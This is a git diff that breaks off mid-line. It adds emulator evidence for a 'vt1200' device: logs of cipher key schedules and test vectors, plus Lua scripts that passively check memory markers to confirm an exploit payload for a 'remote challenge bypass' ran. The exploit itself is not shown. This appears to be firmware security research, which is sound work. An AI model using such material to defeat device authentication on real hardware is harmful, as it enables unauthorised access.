8000000040000000200000001000000008000000040000000200000001000000080000000400000002000000010000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 +ORACLE 00000000000000000000000000000000 90DE09B47285581790DE09B472855817 +ORACLE FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF 6A81040BF22944796A81040BF2294479 +ORACLE 71471D94EC8993C744BCD8CFCB3CC5A6 51BB36A47ABF37381DFBB4E88A2E7E0F +ORACLE 6819A8E6CAA4E23B69BD418941DA1EDC 96E3FFE7D578C80316D03D45E6993285 +ORACLE 4ED83613C682494C19E2740EA94A4F39 AC206B3295B638C37446B2D1C42B8104 +ORACLE 4920C6AE776DB8BE592551547A3428E1 56354353B10EA5DC8A98A50255B3958C +ORACLE 414D180A3571DE14F241770BEA0537B5 989EFDFA11AA33978EEA9BBEBA20600C +ORACLE DD78A93A16592A906BB244A8F2E6CB5A 8996F85FBD87D4D750A112135CF14EAB +ORACLE 837EBA11F2B0CB3609B3D85E48C5F432 0655BA88004D24A665E001E441C31D24 +ORACLE 5CF848225FC0AFC9D53E111E624A8060 E703106CFD05FC6656F34FF7D76CB603 +ORACLE 4D4314C0B59687CB950F8F9E79E2FFC8 DF0A6E99502D24FA98F4EEB82A4045AD +ORACLE FD789CFD0AFBC080D0A0B14E83B7BE0B B110596B898A77BC027D16CBEDE12282 +ORACLE D5741FAE367B8AEBCE2D956336B5CF8E EE2D417EBD755A0A852EA62EDB3C493E +ORACLE FAD19C64CF60D4CE95B01BD00B85FE73 3D7A77DEA62599F8C155F770AC5E8A88 +ORACLE 54E9D2732DB74DADEBE5E1473794DC9D E528ADCF75B272FC23D20640A436BBF3 +ORACLE 8AD941EF664964CB5A47473BB30DB7AF 4A86CAFE092B8493911CFF5075875316 +ORACLE 027B26A952A2472B26106CE035D99F0C D4131B34AEE4BF72912281B9F6FED1B4 +ORACLE E46A8235870DE78F583B2E2833A562D8 707BDCDA6A0FA41D5477C560DAFAFA0A +ORACLE 170112E65D95F17AB6842DC7E6DC8FF5 9A1D870CC5D7B23FEB59C1D8933FF1C8 +ORACLE 425B57CFEA04D531C766C72F43A77606 7E5E1204D9D29E8D1E19F7AD2535AA3E +ORACLE CB538FC306E7C2B5D21B1C9403F3256E 6FDB62EA2174929825EE2240EF63626E +ORACLE DA84B9554787A7CADF9F0BE79B6A6B50 73EBF9713D40B9697B865953D8B83578 +ORACLE 564994D804F033F2B3AC32DE4477D88F EE9696DEB3C42F68C2DF20D04A348BDF +ORACLE E6BE9F5E56ECD471D7BEF1E9F346BACF 7FAC94CF4EF2359271D4E346CA3C85C8 +ORACLE F0BC1ABC1108BB4A9210673E61C12172 47AFE67DCAD7D549B6554BE1ABC3332B +ORACLE 9CDF0283CE8DD540E99C72CD0393DB9A 5C1C456B64ED113841EA4B88098B9377 +ORACLE D1821808E487D2D5A51DB14B1128772D FF5D23AC047F111548F28D0CA649AEC3 +ORACLE 35C1D95C69C1214C4C0F852B83AA44CB 5135421CDAA67783843C091DADD36DCF +ORACLE 3075865334C6F1AA25AD0B9F0E0452D8 20B9FA93A4A126F9D4948177AC12964A +ORACLE E93B1D81DDE031B038F1229A2BE27078 63CDAE2DC350A52AED062870599461AF +ORACLE 476C5D37BB1B8FE24A966AD00FAD2B8D 0C3BC8A120F4BD0DAA96B2ED5503DBA0 +ORACLE F125C589E4437C82E41942B3B292D4BA 8E6D5EE61A3C87F2AFB31085D60BED18 +ORACLE 4D3F944A2FE025954DB2C976CB7C7A62 4665CA8F16DA416331098B4AEA105D04 +ORACLE 8357C90D34407ADB8A5FDD0DD214EAA8 7FB2EDE7F618009C24CF2A33D6B93DE2 +ORACLE 79C72424496C2ADA64D91D2BFCC7B56F 38DEC7DC3C4FA396D79E9BB73FFB04D9 +ORACLE D8AA22A48631A4D3609BE94141C02A5B 1AAE71F6BE60D7AB81EF7F373344DDAC +ORACLE 05DA045FC21817CAC7E1608559E857CE B5B3509AFD63555A2FE6D245195B2DF1 +ORACLE 28F4C8E7936D7181A0A661E7B9EC0BEB 7FEE411EE6451EC3B4D552882C549A3E +ORACLE 27522D91503A637DB0A48A1C9936D595 83A4D4046364DA46AC757DCC0CF32635 +ORACLE AA0FB16E114C5AFE80563A97F0F2056F 70D5FFCEC75445F5F43BF99E9C810F22 +ORACLE 18069653AC2C860A56F8918A7509AADD D102633E9962A9EC6880E56CE896981F +ORACLE 98D2D8D1B926D7623A856EE8A0299101 9E17968E15D59EB1CD60B8A50C5AC68A +ORACLE 11CE373C8E45F98AF1B77065A6BA4BBD C9AB7C6A08094AA356785A793DC6ACE2 +ORACLE 291532A743535EC5040AF5737FE826B6 CCAC4D89D191B2AC94D7408FA6CC637C +ORACLE 488309E5AEDD3415B9B81D46E29F324F 0B18041E0B1F9E1067F8D73DD7EA1359 +ORACLE 95B1BA89672C693E17BDC6D0468A3DA9 1AC8B7CD2153F0D7560DD01C2F3350DC +ORACLE F6FB03E6C44CAEC2E5D490C4E212D7A8 F005BEA9600AFFDD9DFC0D0CB22BAE77 +ORACLE 137C650FDD0870E6AB77D996AD644DF0 1721E413829999D72E299FDDC90ED988 +ORACLE 53101ED688EADFAAAFE1C1785E6AB0E3 198D6F5D48E871893EB8021879EBD290 +ORACLE DD502DD05D3FEAD4F80E275E6CD0CFA4 1EFDB76D5D6562164472FE16919F9908 +ORACLE 9799514FB21040E54DB9A9FA0EFF3816 61668CA3EB55AFDE098765474F0214F9 +ORACLE 290409659F294F21365CA7C03B243ADD 34C661B93EA3FC5807200523CD7AFC3C +ORACLE FA6E95E7FA15488BF93340E2AA2AE45A DFD211AC91F37A00D0FEDB2053130598 +ORACLE 3170F2665A1E18E59D385253D2BA06B2 3186138A51A9DCAFD2DBE5BA917F8C2B +ORACLE B467E13618516FB3E9277DC7EA412FC7 C9833E21C3CCA1FB1F0B62D70EF6E299 +ORACLE 2B6DE06A4877BC38657A1FB0E9E9AC3C 50C38CE713037E39D7910CFAFC93FA27 +ORACLE FD5C2DD5C31C2E76576D5842869E8E74 3F17031DD00F7FF4BD46F9139F744547 +ORACLE 51D1C90A208BB431C6FA076F380AA493 A1B5AEFE499705C7DAE88B4144A7C7D0 +ORACLE 0D26725CB5CEFDEC79DDCAEB36987B7A 7B959B4A2FF45C6FA44B18B79526F8AE +ORACLE D976A8DE99B277E9F7910127777364CE 676CF65222A36203EA7E0D08D10CD3E1 +ORACLE 1C9CA863A4C0532C8850CA59B2876EF1 1C592CF1DEEAC8B085D38AA929085528 +ORACLE FC33727E6D447E77321605725E7E6706 536CC388800FFB82C20495F9F776FABC +ORACLE 6196C6814A48A84FBC9D5125B2C3DEF0 0E2827D97E4B02A88FC27A15B67B3EEF +ORACLE F2E02181529940F5AE610CE5A4822253 D77E71E2163A1CA4718FBCD7A4648FDA +ORACLE 16ECC44F5DC0756C4D9C56E7EDA44390 88E12D0CE0C3A16A6F75C593DC4B3D75 +ORACLE F355AD8002093579A24A0E1B03D70FCC 13953DEC4B9BBB6E06E826E35B8A566C +ORACLE 71769B65977F319D7325D2361D8316E9 2615C2F94166C11702C42E5F7A6FA5E6 +ORACLE 376B0D1233EDD61B48A901AA32D5A68A 97D1344A149F2F03C8C9E0DD81D3D6A0 +ORACLE AC0D425AAEDE55F86610BCABF8B7CE13 5912C8C3E0F8048164AA9B6ACC8991FA +ORACLE F6F839D09E9C9BF5D656E02BE8D45EA5 39835C18989E656D3CCD3C6FFAC31C50 +Average speed: 319.27% (13 seconds) diff --git a/dwt/evidence/oracle-forward-boot2.log b/dwt/evidence/oracle-forward-boot2.log new file mode 100644 index 0000000..95778f4 --- /dev/null +++ b/dwt/evidence/oracle-forward-boot2.log @@ -0,0 +1,91 @@ +Warning: -video none doesn't make much sense without -seconds_to_run +vt1200: screen_update#1 frame=0 clip_y=0..0 screen=1280x901 +vt1200: screen_update#2 frame=0 clip_y=1..900 screen=1280x901 +vt1200: scanline#1 line=1 enabled=1 +vt1200: guard#1 frame=0 dump_frame=-1 dump_ram=-1 +vt1200: screen_update#3 frame=1 clip_y=0..0 screen=1280x901 +vt1200: scanline#2 line=0 enabled=1 +vt1200: screen_update#4 frame=1 clip_y=1..1 screen=1280x901 +vt1200: scanline#3 line=1 enabled=1 +vt1200: scanline#4 line=2 enabled=1 +ORACLE start frame=1000 p200=00000000 p400=00000000 +ORACLE init done @1C0200=0090C8D0 @1C0220=00000000 @1C0240=00000000 @1C0260=00910910 @1C0400=00000001 +ORACLE KP=00910910 FP=0090C8D0 +ORACLE KEY 2C3E1F020130080D2D23281F080019120B333920171A00063227333C09041308370E1D18020B0107112D3C2B292C12203A3B250702003D030A1E3B0B272C00103B110B1C2010212E052D2B2C11092A10262725320410113D2B063D2D0239220030371C0D0006143512193F310A302204351F232B3004061323082E3E2D1A2400 +ORACLE FTAB 0082800000000000008000000282800002808000028200000200000000800000000200000082800002828000000200000202800002808000000080000200000002020000000280000002800000820000008200000080800000808000020280000280000002008000020080000280000000000000020200000282000000008000008000000282800002000000008080000082800000008000000080000002000002808000008000000082000002008000000200000200000002028000028200000282800002800000008080000202800002008000020200000282000000828000020200000002800000028000000000000280000000820000000000000280800010400840004000400040000010400800000008001000000010000840104000401000004010400840004008400000004000400040000008001000000010000840004008001000080010400040000000000000004000400000104008000000084010000800100000400000000000400800104000000040084000000840104000000000000010400800100008400000080010400040000008400040084000400000000008400040004010000000104008401040080010000000004000000000004010400000004008400000080010000040100008001040004010000040100008000040080000000000004000401040000000000040100008401040084000400800040100000001010400000000040001040001000400000000040101000001000404000100040000040400000400000100040101040400010000000104040100000000000404000000000101040001000000010100000001040400010404010100040100040001010000000100040100040400000004010104000100000000000400010104000000040400010004010000000001000001010400010004000000000001000004000100040101040001000404000004000100000000000004000104040100040000010000000004040101040400000004010100000101000400000400000104040100040401000000000104040101000400000004000104000101000010408040100080401000804000000040104000400040800000408000100080000000000010400000104000401040804000008000000000400040000000408000000080001000000000400000104080400000000000400000100080401000004000408000000080401000004000400000100000401040004010408040000080400040000000408000104000401040804000008000000000000000000010400040100000400040004000408000000080001040804010008040100080400000004010408040000080000000800010000000004080001000804010400040004080001000804010000000004000001040804000000000004000001000004010400080000000800004010000040180000021000004008000000000000020000004018000042000000400800000018000042080000021000004218000040000000020000000010000042000000420000000008000002080000421800004218000000100000421800000200000000000000021800004010000000100000021800004000000040080000021800000000000000100000020000004018000002180000420800000010000002000000421800004018000042080000000000000010000042180000421800004000000002180000421000004010000000000000420000000218000040080000001800000200000040000000000000004208000040180000020080000100000201000200000082020100000201008000000082020100000200000200010082020000000200008000010080020000020001000000010082000000000000008002000082000100020000000202000082000100800000008002010080020100000000008202000002020100820000000202000002020100000001000200010080000000800201000202000082020100000200008200000080000100000200000200010000000100820000008000010082020100020200000002010082020000020201000000000080020100800000000200000000020100820200000200000080020000820001000000000002020100000001008002000082000100000100001001002010400020000000000040000010400020104100000041002010410020000100000000000010000020100000000000002010010020104000000040002010410000100100000040002010000020000100200041002010010000000100200040000010400000104100200041000010000000000000200041000000000020004100000001000010400020104000201001002010010020100000001001000000000020004000200001000000410020104000001041000000410020104000001000002010410020000100200041000000000000100000001041002000000000104100000001002000400000100000200040002000400000100100020080008000800000000020020080208000000082008000820000000000000082000020000000208200802080008020000080208200802000008000020000000000002082000000800080008200800000008020020000200200002080008020820080000000000000000000020000208200000080008000820080200000002002008020000000200000802080008000020000000200002080008000020080200000800082000000020000008000002082000020800000008000002002008000800000000200802082000020020000008000002080008000820080008000000002008020800080200000802002008000020080000200002000000000800080208 +ORACLE SEED 55F861C7E51311D4C800000000000000000000000000000000000000000000000000000000003A322A221A120A023C342C241C140C043E362E261E160E06403830282018100839312921191109013B332B231B130B033D352D251D150D053F372F271F170F07280830103818402027072F0F37173F1F26062E0E36163E1E2505 +ORACLE R1 39312921191109013A322A221A120A023B332B231B130B033C342C243F372F271F170F073E362E261E160E063D352D251D150D051C140C04 +ORACLE R2 01020406080A0C0E0F11131517191B1C0E110B180105031C0F06150A17130C041A0810071B140D0229341F252F371E28332D21302C31273822352E2A32241D200E040D01020F0B08030A060C05090007000F07040E020D010A060C0B0905030804010E080D06020B0F0C0907030A05000F0C080204090107050B030E0A00060D +ORACLE R3 0E110B180105031C0F06150A17130C041A0810071B140D0229341F252F371E28332D21302C31273822352E2A32241D200E040D01020F0B08030A060C05090007000F07040E020D010A060C0B0905030804010E080D06020B0F0C0907030A05000F0C080204090107050B030E0A00060D0F01080E060B03040907020D0C00050A +ORACLE R4 8000000040000000200000001000000008000000040000000200000001000000080000000400000002000000010000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 +ORACLE 00000000000000000000000000000000 90DE09B47285581790DE09B472855817 +ORACLE FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF 6A81040BF22944796A81040BF2294479 +ORACLE 71471D94EC8993C744BCD8CFCB3CC5A6 51BB36A47ABF37381DFBB4E88A2E7E0F +ORACLE 6819A8E6CAA4E23B69BD418941DA1EDC 96E3FFE7D578C80316D03D45E6993285 +ORACLE 4ED83613C682494C19E2740EA94A4F39 AC206B3295B638C37446B2D1C42B8104 +ORACLE 4920C6AE776DB8BE592551547A3428E1 56354353B10EA5DC8A98A50255B3958C +ORACLE 414D180A3571DE14F241770BEA0537B5 989EFDFA11AA33978EEA9BBEBA20600C +ORACLE DD78A93A16592A906BB244A8F2E6CB5A 8996F85FBD87D4D750A112135CF14EAB +ORACLE 837EBA11F2B0CB3609B3D85E48C5F432 0655BA88004D24A665E001E441C31D24 +ORACLE 5CF848225FC0AFC9D53E111E624A8060 E703106CFD05FC6656F34FF7D76CB603 +ORACLE 4D4314C0B59687CB950F8F9E79E2FFC8 DF0A6E99502D24FA98F4EEB82A4045AD +ORACLE FD789CFD0AFBC080D0A0B14E83B7BE0B B110596B898A77BC027D16CBEDE12282 +ORACLE D5741FAE367B8AEBCE2D956336B5CF8E EE2D417EBD755A0A852EA62EDB3C493E +ORACLE FAD19C64CF60D4CE95B01BD00B85FE73 3D7A77DEA62599F8C155F770AC5E8A88 +ORACLE 54E9D2732DB74DADEBE5E1473794DC9D E528ADCF75B272FC23D20640A436BBF3 +ORACLE 8AD941EF664964CB5A47473BB30DB7AF 4A86CAFE092B8493911CFF5075875316 +ORACLE 027B26A952A2472B26106CE035D99F0C D4131B34AEE4BF72912281B9F6FED1B4 +ORACLE E46A8235870DE78F583B2E2833A562D8 707BDCDA6A0FA41D5477C560DAFAFA0A +ORACLE 170112E65D95F17AB6842DC7E6DC8FF5 9A1D870CC5D7B23FEB59C1D8933FF1C8 +ORACLE 425B57CFEA04D531C766C72F43A77606 7E5E1204D9D29E8D1E19F7AD2535AA3E +ORACLE CB538FC306E7C2B5D21B1C9403F3256E 6FDB62EA2174929825EE2240EF63626E +ORACLE DA84B9554787A7CADF9F0BE79B6A6B50 73EBF9713D40B9697B865953D8B83578 +ORACLE 564994D804F033F2B3AC32DE4477D88F EE9696DEB3C42F68C2DF20D04A348BDF +ORACLE E6BE9F5E56ECD471D7BEF1E9F346BACF 7FAC94CF4EF2359271D4E346CA3C85C8 +ORACLE F0BC1ABC1108BB4A9210673E61C12172 47AFE67DCAD7D549B6554BE1ABC3332B +ORACLE 9CDF0283CE8DD540E99C72CD0393DB9A 5C1C456B64ED113841EA4B88098B9377 +ORACLE D1821808E487D2D5A51DB14B1128772D FF5D23AC047F111548F28D0CA649AEC3 +ORACLE 35C1D95C69C1214C4C0F852B83AA44CB 5135421CDAA67783843C091DADD36DCF +ORACLE 3075865334C6F1AA25AD0B9F0E0452D8 20B9FA93A4A126F9D4948177AC12964A +ORACLE E93B1D81DDE031B038F1229A2BE27078 63CDAE2DC350A52AED062870599461AF +ORACLE 476C5D37BB1B8FE24A966AD00FAD2B8D 0C3BC8A120F4BD0DAA96B2ED5503DBA0 +ORACLE F125C589E4437C82E41942B3B292D4BA 8E6D5EE61A3C87F2AFB31085D60BED18 +ORACLE 4D3F944A2FE025954DB2C976CB7C7A62 4665CA8F16DA416331098B4AEA105D04 +ORACLE 8357C90D34407ADB8A5FDD0DD214EAA8 7FB2EDE7F618009C24CF2A33D6B93DE2 +ORACLE 79C72424496C2ADA64D91D2BFCC7B56F 38DEC7DC3C4FA396D79E9BB73FFB04D9 +ORACLE D8AA22A48631A4D3609BE94141C02A5B 1AAE71F6BE60D7AB81EF7F373344DDAC +ORACLE 05DA045FC21817CAC7E1608559E857CE B5B3509AFD63555A2FE6D245195B2DF1 +ORACLE 28F4C8E7936D7181A0A661E7B9EC0BEB 7FEE411EE6451EC3B4D552882C549A3E +ORACLE 27522D91503A637DB0A48A1C9936D595 83A4D4046364DA46AC757DCC0CF32635 +ORACLE AA0FB16E114C5AFE80563A97F0F2056F 70D5FFCEC75445F5F43BF99E9C810F22 +ORACLE 18069653AC2C860A56F8918A7509AADD D102633E9962A9EC6880E56CE896981F +ORACLE 98D2D8D1B926D7623A856EE8A0299101 9E17968E15D59EB1CD60B8A50C5AC68A +ORACLE 11CE373C8E45F98AF1B77065A6BA4BBD C9AB7C6A08094AA356785A793DC6ACE2 +ORACLE 291532A743535EC5040AF5737FE826B6 CCAC4D89D191B2AC94D7408FA6CC637C +ORACLE 488309E5AEDD3415B9B81D46E29F324F 0B18041E0B1F9E1067F8D73DD7EA1359 +ORACLE 95B1BA89672C693E17BDC6D0468A3DA9 1AC8B7CD2153F0D7560DD01C2F3350DC +ORACLE F6FB03E6C44CAEC2E5D490C4E212D7A8 F005BEA9600AFFDD9DFC0D0CB22BAE77 +ORACLE 137C650FDD0870E6AB77D996AD644DF0 1721E413829999D72E299FDDC90ED988 +ORACLE 53101ED688EADFAAAFE1C1785E6AB0E3 198D6F5D48E871893EB8021879EBD290 +ORACLE DD502DD05D3FEAD4F80E275E6CD0CFA4 1EFDB76D5D6562164472FE16919F9908 +ORACLE 9799514FB21040E54DB9A9FA0EFF3816 61668CA3EB55AFDE098765474F0214F9 +ORACLE 290409659F294F21365CA7C03B243ADD 34C661B93EA3FC5807200523CD7AFC3C +ORACLE FA6E95E7FA15488BF93340E2AA2AE45A DFD211AC91F37A00D0FEDB2053130598 +ORACLE 3170F2665A1E18E59D385253D2BA06B2 3186138A51A9DCAFD2DBE5BA917F8C2B +ORACLE B467E13618516FB3E9277DC7EA412FC7 C9833E21C3CCA1FB1F0B62D70EF6E299 +ORACLE 2B6DE06A4877BC38657A1FB0E9E9AC3C 50C38CE713037E39D7910CFAFC93FA27 +ORACLE FD5C2DD5C31C2E76576D5842869E8E74 3F17031DD00F7FF4BD46F9139F744547 +ORACLE 51D1C90A208BB431C6FA076F380AA493 A1B5AEFE499705C7DAE88B4144A7C7D0 +ORACLE 0D26725CB5CEFDEC79DDCAEB36987B7A 7B959B4A2FF45C6FA44B18B79526F8AE +ORACLE D976A8DE99B277E9F7910127777364CE 676CF65222A36203EA7E0D08D10CD3E1 +ORACLE 1C9CA863A4C0532C8850CA59B2876EF1 1C592CF1DEEAC8B085D38AA929085528 +ORACLE FC33727E6D447E77321605725E7E6706 536CC388800FFB82C20495F9F776FABC +ORACLE 6196C6814A48A84FBC9D5125B2C3DEF0 0E2827D97E4B02A88FC27A15B67B3EEF +ORACLE F2E02181529940F5AE610CE5A4822253 D77E71E2163A1CA4718FBCD7A4648FDA +ORACLE 16ECC44F5DC0756C4D9C56E7EDA44390 88E12D0CE0C3A16A6F75C593DC4B3D75 +ORACLE F355AD8002093579A24A0E1B03D70FCC 13953DEC4B9BBB6E06E826E35B8A566C +ORACLE 71769B65977F319D7325D2361D8316E9 2615C2F94166C11702C42E5F7A6FA5E6 +ORACLE 376B0D1233EDD61B48A901AA32D5A68A 97D1344A149F2F03C8C9E0DD81D3D6A0 +ORACLE AC0D425AAEDE55F86610BCABF8B7CE13 5912C8C3E0F8048164AA9B6ACC8991FA +ORACLE F6F839D09E9C9BF5D656E02BE8D45EA5 39835C18989E656D3CCD3C6FFAC31C50 +Average speed: 317.77% (13 seconds) diff --git a/dwt/evidence/oracle-inverse.log b/dwt/evidence/oracle-inverse.log new file mode 100644 index 0000000..99912a4 --- /dev/null +++ b/dwt/evidence/oracle-inverse.log @@ -0,0 +1,27 @@ +Warning: -video none doesn't make much sense without -seconds_to_run +vt1200: screen_update#1 frame=0 clip_y=0..0 screen=1280x901 +vt1200: screen_update#2 frame=0 clip_y=1..900 screen=1280x901 +vt1200: scanline#1 line=1 enabled=1 +vt1200: guard#1 frame=0 dump_frame=-1 dump_ram=-1 +vt1200: screen_update#3 frame=1 clip_y=0..0 screen=1280x901 +vt1200: scanline#2 line=0 enabled=1 +vt1200: screen_update#4 frame=1 clip_y=1..1 screen=1280x901 +vt1200: scanline#3 line=1 enabled=1 +vt1200: scanline#4 line=2 enabled=1 +ORACLE start frame=1000 p200=00000000 p400=00000000 +ORACLE init done @1C0200=0090C8D0 @1C0220=00000000 @1C0240=00000000 @1C0260=00910910 @1C0400=00000001 +ORACLE KP=00910910 FP=0090C8D0 +ORACLE KEY 2C3E1F020130080D2D23281F080019120B333920171A00063227333C09041308370E1D18020B0107112D3C2B292C12203A3B250702003D030A1E3B0B272C00103B110B1C2010212E052D2B2C11092A10262725320410113D2B063D2D0239220030371C0D0006143512193F310A302204351F232B3004061323082E3E2D1A2400 +ORACLE FTAB 0082800000000000008000000282800002808000028200000200000000800000000200000082800002828000000200000202800002808000000080000200000002020000000280000002800000820000008200000080800000808000020280000280000002008000020080000280000000000000020200000282000000008000008000000282800002000000008080000082800000008000000080000002000002808000008000000082000002008000000200000200000002028000028200000282800002800000008080000202800002008000020200000282000000828000020200000002800000028000000000000280000000820000000000000280800010400840004000400040000010400800000008001000000010000840104000401000004010400840004008400000004000400040000008001000000010000840004008001000080010400040000000000000004000400000104008000000084010000800100000400000000000400800104000000040084000000840104000000000000010400800100008400000080010400040000008400040084000400000000008400040004010000000104008401040080010000000004000000000004010400000004008400000080010000040100008001040004010000040100008000040080000000000004000401040000000000040100008401040084000400800040100000001010400000000040001040001000400000000040101000001000404000100040000040400000400000100040101040400010000000104040100000000000404000000000101040001000000010100000001040400010404010100040100040001010000000100040100040400000004010104000100000000000400010104000000040400010004010000000001000001010400010004000000000001000004000100040101040001000404000004000100000000000004000104040100040000010000000004040101040400000004010100000101000400000400000104040100040401000000000104040101000400000004000104000101000010408040100080401000804000000040104000400040800000408000100080000000000010400000104000401040804000008000000000400040000000408000000080001000000000400000104080400000000000400000100080401000004000408000000080401000004000400000100000401040004010408040000080400040000000408000104000401040804000008000000000000000000010400040100000400040004000408000000080001040804010008040100080400000004010408040000080000000800010000000004080001000804010400040004080001000804010000000004000001040804000000000004000001000004010400080000000800004010000040180000021000004008000000000000020000004018000042000000400800000018000042080000021000004218000040000000020000000010000042000000420000000008000002080000421800004218000000100000421800000200000000000000021800004010000000100000021800004000000040080000021800000000000000100000020000004018000002180000420800000010000002000000421800004018000042080000000000000010000042180000421800004000000002180000421000004010000000000000420000000218000040080000001800000200000040000000000000004208000040180000020080000100000201000200000082020100000201008000000082020100000200000200010082020000000200008000010080020000020001000000010082000000000000008002000082000100020000000202000082000100800000008002010080020100000000008202000002020100820000000202000002020100000001000200010080000000800201000202000082020100000200008200000080000100000200000200010000000100820000008000010082020100020200000002010082020000020201000000000080020100800000000200000000020100820200000200000080020000820001000000000002020100000001008002000082000100000100001001002010400020000000000040000010400020104100000041002010410020000100000000000010000020100000000000002010010020104000000040002010410000100100000040002010000020000100200041002010010000000100200040000010400000104100200041000010000000000000200041000000000020004100000001000010400020104000201001002010010020100000001001000000000020004000200001000000410020104000001041000000410020104000001000002010410020000100200041000000000000100000001041002000000000104100000001002000400000100000200040002000400000100100020080008000800000000020020080208000000082008000820000000000000082000020000000208200802080008020000080208200802000008000020000000000002082000000800080008200800000008020020000200200002080008020820080000000000000000000020000208200000080008000820080200000002002008020000000200000802080008000020000000200002080008000020080200000800082000000020000008000002082000020800000008000002002008000800000000200802082000020020000008000002080008000820080008000000002008020800080200000802002008000020080000200002000000000800080208 +ORACLE SEED 55F861C7E51311D4C800000000000000000000000000000000000000000000000000000000003A322A221A120A023C342C241C140C043E362E261E160E06403830282018100839312921191109013B332B231B130B033D352D251D150D053F372F271F170F07280830103818402027072F0F37173F1F26062E0E36163E1E2505 +ORACLE R1 39312921191109013A322A221A120A023B332B231B130B033C342C243F372F271F170F073E362E261E160E063D352D251D150D051C140C04 +ORACLE R2 01020406080A0C0E0F11131517191B1C0E110B180105031C0F06150A17130C041A0810071B140D0229341F252F371E28332D21302C31273822352E2A32241D200E040D01020F0B08030A060C05090007000F07040E020D010A060C0B0905030804010E080D06020B0F0C0907030A05000F0C080204090107050B030E0A00060D +ORACLE R3 0E110B180105031C0F06150A17130C041A0810071B140D0229341F252F371E28332D21302C31273822352E2A32241D200E040D01020F0B08030A060C05090007000F07040E020D010A060C0B0905030804010E080D06020B0F0C0907030A05000F0C080204090107050B030E0A00060D0F01080E060B03040907020D0C00050A +ORACLE R4 8000000040000000200000001000000008000000040000000200000001000000080000000400000002000000010000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 +ORACLE_INV 00000000000000000000000000000000 B79E1C9EAFAAD86BB79E1C9EAFAAD86B +ORACLE_INV FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF 6004AD61ED53D94A6004AD61ED53D94A +ORACLE_INV 71471D94EC8993C744BCD8CFCB3CC5A6 116AE5361EB35BB13D08CB6441C493A6 +ORACLE_INV 6819A8E6CAA4E23B69BD418941DA1EDC 7353766B876F5653A65AC4BB28B28AF2 +ORACLE_INV 4ED83613C682494C19E2740EA94A4F39 A74684C5A20700468DB53D136516F709 +ORACLE_INV 4920C6AE776DB8BE592551547A3428E1 D9FBA4A9D16EA90F3E5C048947140663 +Average speed: 315.69% (13 seconds) diff --git a/dwt/evidence/scripts/live_check.lua b/dwt/evidence/scripts/live_check.lua new file mode 100644 index 0000000..1426dcd --- /dev/null +++ b/dwt/evidence/scripts/live_check.lua @@ -0,0 +1,53 @@ +-- live_check.lua -- verification with NO breakpoints and no memory writes. +-- +-- This script only reads RAM/VRAM once per frame. There is no bpset anywhere, +-- so the exploit cannot be attributed to any debugger action: the only thing +-- the emulator does is report what the firmware and the payload left in memory. +local machine = manager.machine +local cpu = machine.devices[':maincpu'] +local dbg = machine.debugger +local space = cpu.spaces['program'] +if not dbg then machine:exit(); return end +dbg.visible_cpu = cpu + +local MAGIC1 = 0x01810000 +local MAGIC2 = 0x01810010 +local COUNT = 0x01810020 +local VRAM = 0x04019040 +local f = 0 +local done_at = nil +local last = nil + +emu.register_frame_done(function() + f = f + 1 + if f % 500 == 0 then + print(string.format("CHECK frame %d MAGIC1=%04X MAGIC2=%04X COUNT=%04X", + f, space:read_u16(MAGIC1), space:read_u16(MAGIC2), space:read_u16(COUNT))) + end + if done_at == nil and space:read_u16(MAGIC1) == 0xDEAD then + done_at = f + local filled, holes = 0, 0 + for r = 0, 63 do + for c = 0, 15 do + if space:read_u16(VRAM + r * 1024 + c * 16) == 0xFFFF then + filled = filled + 1 + else + holes = holes + 1 + end + end + end + print(string.format("CHECK payload-ran: MAGIC1=%04X MAGIC2=%04X COUNT=%04X", + space:read_u16(MAGIC1), space:read_u16(MAGIC2), space:read_u16(COUNT))) + print(string.format("CHECK payload-ran: VRAM block %d/1024 words FFFF, %d holes", + filled, holes)) + end + if done_at and f >= done_at + 120 then + print(string.format("CHECK exiting at frame %d (payload seen at %d)", f, done_at)) + machine:exit() + end + if f >= 12000 then + print("CHECK timeout: no payload markers") + machine:exit() + end +end, "vt1200-live-check") +dbg.execution_state = 'run' diff --git a/dwt/evidence/scripts/live_verify.lua b/dwt/evidence/scripts/live_verify.lua new file mode 100644 index 0000000..66fe35e --- /dev/null +++ b/dwt/evidence/scripts/live_verify.lua @@ -0,0 +1,72 @@ +-- live_verify.lua -- passive verification of the remote challenge bypass. +-- +-- No breakpoint here writes a register or memory: it only prints. In +-- particular the memcmp at 3F5A0920 is *observed*, never forced. +local machine = manager.machine +local cpu = machine.devices[':maincpu'] +local dbg = machine.debugger +local space = cpu.spaces['program'] +if not dbg then machine:exit(); return end +dbg.visible_cpu = cpu + +local D = "/home/arti/code/k-space/vt1200/dwt/evidence/live-run" +local MAGIC1 = 0x01810000 +local MAGIC2 = 0x01810010 +local COUNT = 0x01810020 +local VRAM = 0x04019040 +local f = 0 +local armed = false +local saw_challenge = false +local saw_memcmp = false +local done_at = nil + +local function report_magic(tag) + print(string.format("LIVE2 %s: MAGIC1=%04X MAGIC2=%04X COUNT=%04X", + tag, space:read_u16(MAGIC1), space:read_u16(MAGIC2), space:read_u16(COUNT))) + local filled, holes = 0, 0 + for r = 0, 63 do + for c = 0, 15 do + if space:read_u16(VRAM + r * 1024 + c * 16) == 0xFFFF then + filled = filled + 1 + else + holes = holes + 1 + end + end + end + print(string.format("LIVE2 %s: VRAM block %d/1024 words FFFF, %d holes", tag, filled, holes)) +end + +emu.register_frame_done(function() + f = f + 1 + if f == 1 and not armed then + armed = true + dbg:command('bpset 3F58AD60,,{ printf "LIVE2 accept_debug_conn entry pc=%08X\\n", pc ; g }') + dbg:command('bpset 3F59F320,,{ printf "LIVE2 dispatcher entry pc=%08X\\n", pc ; g }') + dbg:command('bpset 3F59FDC0,,{ printf "LIVE2 dwt_prf challenge entry 